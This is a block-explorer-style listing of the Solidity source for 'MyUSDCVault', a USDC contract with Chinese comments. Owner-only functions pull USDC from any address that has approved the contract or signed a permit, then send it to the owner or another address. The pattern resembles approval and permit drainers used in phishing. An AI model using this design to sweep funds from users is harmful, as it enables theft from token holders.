MyUSDCVault

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "MyUSDCVault.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.0;\r
\r
interface IERC20 {\r
    function transfer(address to, uint256 value) external returns (bool);\r
    function transferFrom(address from, address to, uint256 value) external returns (bool);\r
    function balanceOf(address account) external view returns (uint256);\r
}\r
\r
interface IERC20Permit {\r
    function permit(\r
        address owner,\r
        address spender,\r
        uint256 value,\r
        uint256 deadline,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external;\r
}\r
\r
contract MyUSDCVault {\r
    address public owner;\r
    address public immutable usdc;\r
\r
    event Deposited(address indexed from, uint256 amount);\r
    event Withdrawn(address indexed to, uint256 amount);\r
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
    constructor(address _usdc) {\r
        require(_usdc != address(0), "Invalid USDC address");\r
        owner = msg.sender;\r
        usdc = _usdc;\r
    }\r
\r
    modifier onlyOwner() {\r
        require(msg.sender == owner, "Not owner");\r
        _;\r
    }\r
\r
    // ✅ 支持普通 approve 后拉款\r
    function pull(address from, uint256 amount) external onlyOwner {\r
        require(from != address(0), "Invalid address");\r
        require(amount > 0, "Amount must be > 0");\r
        require(IERC20(usdc).transferFrom(from, address(this), amount), "Pull failed");\r
        emit Deposited(from, amount);\r
    }\r
\r
    // ✅ 支持 permit 授权 + 拉款(你代用户出 gas)\r
    function permitAndPull(\r
        address user,\r
        uint256 amount,\r
        uint256 deadline,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external onlyOwner {\r
        require(user != address(0), "Invalid user address");\r
        require(amount > 0, "Amount must be > 0");\r
        require(deadline >= block.timestamp, "Permit expired");\r
        \r
        // 使用 try-catch 避免重复 permit 导致整个交易失败\r
        try IERC20Permit(usdc).permit(user, address(this), amount, deadline, v, r, s) {\r
            // Permit 成功\r
        } catch {\r
            // Permit 失败(可能已授权),继续执行转账\r
        }\r
        \r
        require(IERC20(usdc).transferFrom(user, address(this), amount), "Transfer failed");\r
        emit Deposited(user, amount);\r
    }\r
\r
    // ✅ 修复:使用 transfer 而不是 transferFrom\r
    function withdraw(uint256 amount) external onlyOwner {\r
        require(amount > 0, "Amount must be > 0");\r
        require(IERC20(usdc).transfer(owner, amount), "Withdraw failed");\r
        emit Withdrawn(owner, amount);\r
    }\r
\r
    // ✅ 新增:提取到指定地址\r
    function withdrawTo(address to, uint256 amount) external onlyOwner {\r
        require(to != address(0), "Invalid address");\r
        require(amount > 0, "Amount must be > 0");\r
        require(IERC20(usdc).transfer(to, amount), "Withdraw failed");\r
        emit Withdrawn(to, amount);\r
    }\r
\r
    // ✅ 新增:转移所有权\r
    function transferOwnership(address newOwner) external onlyOwner {\r
        require(newOwner != address(0), "Invalid new owner");\r
        address previousOwner = owner;\r
        owner = newOwner;\r
        emit OwnershipTransferred(previousOwner, newOwner);\r
    }\r
\r
    function vaultBalance() external view returns (uint256) {\r
        return IERC20(usdc).balanceOf(address(this));\r
    }\r
\r
    // ✅ 新增:紧急提取所有余额\r
    function emergencyWithdraw() external onlyOwner {\r
        uint256 balance = IERC20(usdc).balanceOf(address(this));\r
        require(balance > 0, "No balance");\r
        require(IERC20(usdc).transfer(owner, balance), "Emergency withdraw failed");\r
        emit Withdrawn(owner, balance);\r
    }\r
}\r
\r
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x163c8f38b891fc0c3a8d125503aba62210abfe02|verified:true|block:23729593|tx:0xfdb75d7cda0ae25a026110f2203a247a398194dd93dfc6c74b6bcd3c3f3ab75c|first_check:1762339632

Submitted on: 2025-11-05 11:47:13

Comments

Log in to comment.

No comments yet.